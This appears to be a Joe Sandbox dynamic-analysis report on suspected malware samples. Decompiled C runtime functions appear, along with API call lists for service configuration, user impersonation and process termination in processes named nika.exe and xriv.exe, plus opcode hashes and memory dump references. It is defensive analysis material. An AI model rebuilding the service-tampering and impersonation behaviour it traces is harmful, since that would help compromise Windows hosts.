Opcode ID: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Uniqueness

Uniqueness Score: -1.00%

Function 0040BAAA Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040BAAA(signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t63;
				void* _t68;
				signed int _t69;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t81;
				signed int _t82;
				signed int _t84;
				signed int _t88;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				intOrPtr* _t100;
				void* _t101;

				_t90 = __edx;
				if(_a8 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t100 = _a16;
					_t105 = _t100;
					if(_t100 != 0) {
						_t82 = _a4;
						__eflags = _t82;
						if(__eflags == 0) {
							goto L3;
						}
						_t63 = _t59 | 0xffffffff;
						_t90 = _t63 % _a8;
						__eflags = _a12 - _t63 / _a8;
						if(__eflags > 0) {
							goto L3;
						}
						_t97 = _a8 * _a12;
						__eflags =  *(_t100 + 0xc) & 0x0000010c;
						_v8 = _t82;
						_v16 = _t97;
						_t81 = _t97;
						if(( *(_t100 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t100 + 0x18);
						}
						__eflags = _t97;
						if(_t97 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t84 =  *(_t100 + 0xc) & 0x00000108;
								__eflags = _t84;
								if(_t84 == 0) {
									L18:
									__eflags = _t81 - _v12;
									if(_t81 < _v12) {
										_t68 = E0040F0AD(_t90, _t97,  *_v8, _t100);
										__eflags = _t68 - 0xffffffff;
										if(_t68 == 0xffffffff) {
											L34:
											_t69 = _t97;
											L35:
											return (_t69 - _t81) / _a8;
										}
										_v8 = _v8 + 1;
										_t72 =  *(_t100 + 0x18);
										_t81 = _t81 - 1;
										_v12 = _t72;
										__eflags = _t72;
										if(_t72 <= 0) {
											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t84;
									if(_t84 == 0) {
										L21:
										__eflags = _v12;
										_t98 = _t81;
										if(_v12 != 0) {
											_t75 = _t81;
											_t90 = _t75 % _v12;
											_t98 = _t98 - _t75 % _v12;
											__eflags = _t98;
										}
										_push(_t98);
										_push(_v8);
										_push(E0040FA20(_t90, _t98, _t100));
										_t74 = E0040F944(_t81, _t90, _t98, _t100, __eflags);
										_t101 = _t101 + 0xc;
										__eflags = _t74 - 0xffffffff;
										if(_t74 == 0xffffffff) {
											L36:
											 *(_t100 + 0xc) =  *(_t100 + 0xc) | 0x00000020;
											_t69 = _v16;
											goto L35;
										} else {
											_t88 = _t98;
											__eflags = _t74 - _t98;
											if(_t74 <= _t98) {
												_t88 = _t74;
											}
											_v8 = _v8 + _t88;
											_t81 = _t81 - _t88;
											__eflags = _t74 - _t98;
											if(_t74 < _t98) {
												goto L36;
											} else {
												L27:
												_t97 = _v16;
												goto L31;
											}
										}
									}
									_t77 = E0040C1FB(_t100);
									__eflags = _t77;
									if(_t77 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t78 =  *(_t100 + 4);
								__eflags = _t78;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t48 = _t100 + 0xc;
									 *_t48 =  *(_t100 + 0xc) | 0x00000020;
									__eflags =  *_t48;
									goto L34;
								}
								_t99 = _t81;
								__eflags = _t81 - _t78;
								if(_t81 >= _t78) {
									_t99 = _t78;
								}
								E0040B350(_t81, _t99, _t100,  *_t100, _v8, _t99);
								 *(_t100 + 4) =  *(_t100 + 4) - _t99;
								 *_t100 =  *_t100 + _t99;
								_t101 = _t101 + 0xc;
								_t81 = _t81 - _t99;
								_v8 = _v8 + _t99;
								goto L27;
								L31:
								__eflags = _t81;
							} while (_t81 != 0);
							goto L32;
						}
					}
					L3:
					_t61 = E0040BFC1(_t105);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t61 = 0x16;
					E0040E744(_t90, 0, _t100);
					goto L4;
				}
			}

0x0040baaa
0x0040baba
0x0040bae0
0x00000000
0x0040bac1
0x0040bac1
0x0040bac4
0x0040bac6
0x0040bae7
0x0040baea
0x0040baec
0x00000000
0x00000000
0x0040baee
0x0040baf3
0x0040baf6
0x0040baf9
0x00000000
0x00000000
0x0040bafe
0x0040bb02
0x0040bb09
0x0040bb0c
0x0040bb0f
0x0040bb11
0x0040bb1b
0x0040bb13
0x0040bb16
0x0040bb16
0x0040bb22
0x0040bb24
0x0040bbe9
0x00000000
0x0040bb2a
0x0040bb2a
0x0040bb2d
0x0040bb2d
0x0040bb33
0x0040bb64
0x0040bb64
0x0040bb67
0x0040bbc0
0x0040bbc7
0x0040bbca
0x0040bbf5
0x0040bbf5
0x0040bbf7
0x00000000
0x0040bbfb
0x0040bbcc
0x0040bbcf
0x0040bbd2
0x0040bbd3
0x0040bbd6
0x0040bbd8
0x0040bbda
0x0040bbda
0x00000000
0x0040bbd8
0x0040bb69
0x0040bb6b
0x0040bb78
0x0040bb78
0x0040bb7c
0x0040bb7e
0x0040bb82
0x0040bb84
0x0040bb87
0x0040bb87
0x0040bb87
0x0040bb89
0x0040bb8a
0x0040bb94
0x0040bb95
0x0040bb9a
0x0040bb9d
0x0040bba0
0x0040bc03
0x0040bc03
0x0040bc07
0x00000000
0x0040bba2
0x0040bba2
0x0040bba4
0x0040bba6
0x0040bba8
0x0040bba8
0x0040bbaa
0x0040bbad
0x0040bbaf
0x0040bbb1
0x00000000
0x0040bbb3
0x0040bbb3
0x0040bbb3
0x00000000
0x0040bbb3
0x0040bbb1
0x0040bba0
0x0040bb6e
0x0040bb74
0x0040bb76
0x00000000
0x00000000
0x00000000
0x0040bb76
0x0040bb35
0x0040bb38
0x0040bb3a
0x00000000
0x00000000
0x0040bb3c
0x0040bbf1
0x0040bbf1
0x0040bbf1
0x00000000
0x0040bbf1
0x0040bb42
0x0040bb44
0x0040bb46
0x0040bb48
0x0040bb48
0x0040bb50
0x0040bb55
0x0040bb58
0x0040bb5a
0x0040bb5d
0x0040bb5f
0x00000000
0x0040bbe1
0x0040bbe1
0x0040bbe1
0x00000000
0x0040bb2a
0x0040bb24
0x0040bac8
0x0040bac8
0x0040bacd
0x0040bace
0x0040bacf
0x0040bad0
0x0040bad1
0x0040bad2
0x0040bad8
0x00000000
0x0040badd

APIs

__flush.LIBCMT ref: 0040BB6E
__fileno.LIBCMT ref: 0040BB8E
__locking.LIBCMT ref: 0040BB95
__flsbuf.LIBCMT ref: 0040BBC0

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 3240763771-0
Opcode ID: 5ae6f52eb953361433d7ea32021fe6e8a7002ad97f6d3a8caf392525720eb222
Instruction ID: 72eaa501f89e5d914343e0f007c81726c853b1270fdaa85e4c7363b387074608
Opcode Fuzzy Hash: 5ae6f52eb953361433d7ea32021fe6e8a7002ad97f6d3a8caf392525720eb222
Instruction Fuzzy Hash: B441A331A006059BDF249F6A88855AFB7B5EF80320F24853EE465B76C4D778EE41CB8C

Uniqueness

Uniqueness Score: -1.00%

Function 005C5506 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 005C553A
__isleadbyte_l.LIBCMT ref: 005C556E
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 005C559F
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 005C560D

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: cf1f3e8774af0f3fc381f8198ea3ff65c0a89f1032b816ae49911e186a64cc51
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: FC317C31A10686AFDB20DFE4D884EBE7FA6BF01310B18856DE5658B1A1F730E980DB50

Uniqueness

Uniqueness Score: -1.00%

Function 0041529F Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041529F(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0040EC86( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E004153D0( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0040BFC1(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x004152a9
0x004152b0
0x004152c7
0x00000000
0x004152b7
0x004152b9
0x004152d3
0x004152d8
0x004152db
0x004152de
0x00415307
0x0041530e
0x00415310
0x00415391
0x004153ac
0x004153ae
0x004152ee
0x004152ee
0x004152f1
0x004152f3
0x004152f6
0x004152f6
0x004152f6
0x004152f6
0x00000000
0x004152fc
0x00415370
0x00415370
0x00415375
0x0041537b
0x0041537e
0x00415380
0x00415383
0x00415383
0x00415383
0x00415383
0x00000000
0x00415387
0x00415312
0x00415315
0x0041531b
0x0041531e
0x00415345
0x00415348
0x0041534e
0x00000000
0x00000000
0x00415350
0x00415353
0x00000000
0x00000000
0x00415355
0x00415355
0x0041535b
0x0041535e
0x004152cc
0x004152cc
0x00415367
0x00000000
0x00415367
0x00415320
0x00415323
0x00000000
0x00000000
0x00415327
0x00415338
0x0041533e
0x00415340
0x00415343
0x00000000
0x00000000
0x00000000
0x00415343
0x004152e0
0x004152e3
0x004152e5
0x004152eb
0x004152eb
0x00000000
0x004152bb
0x004152bb
0x004152c0
0x004152c4
0x004152c4
0x00000000
0x004152c0
0x004152b9

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 004152D3
__isleadbyte_l.LIBCMT ref: 00415307
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?), ref: 00415338
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?), ref: 004153A6

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction ID: 094900ada7e667e90e346a2540d450e67f5821ec0926a3c2ae07879bc245b0d1
Opcode Fuzzy Hash: 2839bf6a935194de417e4e3b9e78947074703b487fc663d1488f120054b34ef5
Instruction Fuzzy Hash: 1831A032A00649EFDB20DFA4C8809EE7BB5EF41350B1885AAE8659B291D374DD80DF59

Uniqueness

Uniqueness Score: -1.00%

Function 005C3742 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 005C3768

Part of subcall function 005C358D: __fltout2.LIBCMT ref: 005C35B9

__cftog_l.LIBCMT ref: 005C378E
__cftoe_l.LIBCMT ref: 005C37C0

Memory Dump Source

Source File: 00000002.00000002.366986826.00000000005B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b0000_amMl.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: ac1f15453c655125f3d335d89e3834493cfb741c27c87bd46a31552bbcfef14d
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: C7114BB200014EBFCF125EC5DC49DEE3FA2FB58354B588519FA2859131E637CAB1AB81

Uniqueness

Uniqueness Score: -1.00%

Function 004134DB Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E004134DB(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00412DCC(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00412EBC(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E004133E1(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00413326(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x004134e0
0x004134e6
0x00413559
0x00000000
0x004134ed
0x004134ed
0x004134f0
0x0041350b
0x0041350e
0x0041352e
0x00413540
0x00413510
0x00413510
0x00413513
0x00000000
0x00413515
0x00413527
0x00413527
0x00413513
0x0041355e
0x00413562
0x004134f2
0x0041350a
0x0041350a
0x004134f0

APIs

__cftof_l.LIBCMT ref: 00413501

Part of subcall function 00413326: __fltout2.LIBCMT ref: 00413352

__cftog_l.LIBCMT ref: 00413527
__cftoe_l.LIBCMT ref: 00413559

Memory Dump Source

Source File: 00000002.00000002.366895867.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.366895867.0000000000426000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.366895867.000000000042F000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_amMl.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: bfd0e68975b3765f24e543ba70b005e9871d43ed2f52156b65e62ceec70126f9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: DA117E7200014EBBCF125E85CC418EE3F27BF18755B58841AFE2858130D73BCAB2AB89

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: nika.exePID: 5352, Parent PID: 5132COMMON

Execution Graph

Execution Coverage:	54.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	31
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FFBAFD51B10 Relevance: 2.0, APIs: 1, Instructions: 548
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32 ref: 00007FFBAFD51FD1

Memory Dump Source

Source File: 0000000E.00000002.400223703.00007FFBAFD50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAFD50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffbafd50000_nika.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: 68759dd24562f89bc8c60e7e1dcff7698ae75f9a125f3402cc0351d71fe92a17
Instruction ID: 2337e443f78e618980b5362d0e817694014626dbdf8b2d4cce92ea47af82b7d6
Opcode Fuzzy Hash: 68759dd24562f89bc8c60e7e1dcff7698ae75f9a125f3402cc0351d71fe92a17
Instruction Fuzzy Hash: 2BF1B470A18A4E4FEB69EE28C8467F977D1FB54311F10426EDC9EC7281DE74A5818B82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAFD5077D Relevance: 1.8, APIs: 1, Instructions: 269
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32 ref: 00007FFBAFD50989

Memory Dump Source

Source File: 0000000E.00000002.400223703.00007FFBAFD50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAFD50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffbafd50000_nika.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 0f9a7d583ec1eca681f74a1e3c941a1f2db55dfa1810749686399c1358b4f22b
Instruction ID: 28ca77df6a6807a9930e1440a760443326b1c17fcb937fc811a11eb58e683e40
Opcode Fuzzy Hash: 0f9a7d583ec1eca681f74a1e3c941a1f2db55dfa1810749686399c1358b4f22b
Instruction Fuzzy Hash: 38916F70608A4D8FEBA9EF28C8597E97B91EB54311F00417ED88DC7292CE75A981CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAFD50C34 Relevance: 1.7, APIs: 1, Instructions: 213
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenServiceA.ADVAPI32 ref: 00007FFBAFD50D99

Memory Dump Source

Source File: 0000000E.00000002.400223703.00007FFBAFD50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAFD50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffbafd50000_nika.jbxd

Similarity

API ID: OpenService
String ID:
API String ID: 3098006287-0
Opcode ID: 7d07b2c48197868903858cf120fd0195750c69f452db804631259a123840e7ce
Instruction ID: af0fcfaa49f0cbe43b67a75e647a11af71bebf67f180ae51784c3428d3d06875
Opcode Fuzzy Hash: 7d07b2c48197868903858cf120fd0195750c69f452db804631259a123840e7ce
Instruction Fuzzy Hash: 8151B670A08A4D4FEB59EF28C84A7F977D1FB59311F10426EE89DC3292DE74A841CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAFD5108A Relevance: 1.6, APIs: 1, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE ref: 00007FFBAFD51145

Memory Dump Source

Source File: 0000000E.00000002.400223703.00007FFBAFD50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAFD50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffbafd50000_nika.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 7a6ec3f9e2c247e41a9204d60c4fcf915b8c81e7ca278c5bfac9bc9567586214
Instruction ID: 5b2206c7a24b30e4cb5c8534ae5444ff95941bb15dfc4ffea44eb3ee5baf91c7
Opcode Fuzzy Hash: 7a6ec3f9e2c247e41a9204d60c4fcf915b8c81e7ca278c5bfac9bc9567586214
Instruction Fuzzy Hash: F731F63090CB8C4FDB0ADB7888157E97FF0EF56321F04429FD089C31A2DA696456CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAFD50B4B Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32 ref: 00007FFBAFD50BFA

Memory Dump Source

Source File: 0000000E.00000002.400223703.00007FFBAFD50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAFD50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffbafd50000_nika.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: e636076e1c2de0953c268ef612b3dcf0cacc4a9f652f8c5c5b63a7e2d65113ae
Instruction ID: beed67f9ae72b4a7b90c72c4eb2c19d7bec9cd8f076e7a5171586e014aadb24d
Opcode Fuzzy Hash: e636076e1c2de0953c268ef612b3dcf0cacc4a9f652f8c5c5b63a7e2d65113ae
Instruction Fuzzy Hash: 0F317E71908B1C8FDB69DF98D8896F9BBE0EB69312F00412FD48AD3651DE706445CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAFD51A3B Relevance: 1.6, APIs: 1, Instructions: 107
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32 ref: 00007FFBAFD51ACB

Memory Dump Source

Source File: 0000000E.00000002.400223703.00007FFBAFD50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAFD50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffbafd50000_nika.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 705a0f78e6ee4a91d5abbbf6bd005019735ad35248e9d1dfc3ff997337fcf8ea
Instruction ID: 56a51a378cac86b001eea1fe900d91a13f522010afc6437056a4952524f5f122
Opcode Fuzzy Hash: 705a0f78e6ee4a91d5abbbf6bd005019735ad35248e9d1dfc3ff997337fcf8ea
Instruction Fuzzy Hash: 2D31B171A0CB1C8FDB18DF9CD845AF97BE1EB65721F00412FE08AD3252CB64A846CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAFD50108 Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.400223703.00007FFBAFD50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAFD50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffbafd50000_nika.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c0379d93d60dcedc2f6133869d0fadf4dbdfa74309fc04d3bca5b7f90699289
Instruction ID: 5d74dc4fb315f8e2c75977804d70f30653a90f4ef8f010923e2c9e2498624b04
Opcode Fuzzy Hash: 4c0379d93d60dcedc2f6133869d0fadf4dbdfa74309fc04d3bca5b7f90699289
Instruction Fuzzy Hash: 6821D571A0CA0D9FDB59DF68C845BF9BBE0FB55321F00412ED08ED3192DB64A856CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAFD5176E Relevance: 1.6, APIs: 1, Instructions: 98
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 00007FFBAFD517F5

Memory Dump Source

Source File: 0000000E.00000002.400223703.00007FFBAFD50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAFD50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffbafd50000_nika.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 12276837d4ac4088b6764640e93a4dfa6c1ee08f43bd2057f9c8ef098324caba
Instruction ID: 7c1d1c0b7606e6509a00e6e9dad7b5aa958e75187cc59b9f08d36aaf7309acb1
Opcode Fuzzy Hash: 12276837d4ac4088b6764640e93a4dfa6c1ee08f43bd2057f9c8ef098324caba
Instruction Fuzzy Hash: 3B21D23190CA0C8FDB58DFA8C805BF9BBE0FB55321F00426FD049D3592CB64A856CB91

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: xriv.exePID: 588, Parent PID: 5152COMMON

Executed Functions

Function 011EA9A1 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(011EE000,?,011EA9A0,011EAF26,?,011EE000,011EAF26,011EE000), ref: 011EA9C3
TerminateProcess.KERNEL32(00000000,?,011EA9A0,011EAF26,?,011EE000,011EAF26,011EE000), ref: 011EA9CA
ExitProcess.KERNEL32 ref: 011EA9DC

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: ec3eb559d07c4be2411e0ae9f2e539e7ad488c4d4947ef9a9f8ff9b3adb8d085
Instruction ID: cd094c35a923f760cf078fb47c2acc41d7a4179027f7b9914cf9debb452fe6fd
Opcode Fuzzy Hash: ec3eb559d07c4be2411e0ae9f2e539e7ad488c4d4947ef9a9f8ff9b3adb8d085
Instruction Fuzzy Hash: A4E0B635005908AFCB2A6B99E80CA993BA9EF51241F164829F91687131DB35EDC1DBD2

Uniqueness

Uniqueness Score: -1.00%

Function 011F26AF Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 011F2368: CreateFileW.KERNELBASE(00000000,00000000,?,011F2758,?,?,00000000,?,011F2758,00000000,0000000C), ref: 011F2385

GetLastError.KERNEL32 ref: 011F27C3
__dosmaperr.LIBCMT ref: 011F27CA
GetFileType.KERNELBASE(00000000), ref: 011F27D6
GetLastError.KERNEL32 ref: 011F27E0
__dosmaperr.LIBCMT ref: 011F27E9
CloseHandle.KERNEL32(00000000), ref: 011F2809
CloseHandle.KERNEL32(011ED4F0), ref: 011F2956
GetLastError.KERNEL32 ref: 011F2988
__dosmaperr.LIBCMT ref: 011F298F

Strings

H, xrefs: 011F2914

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

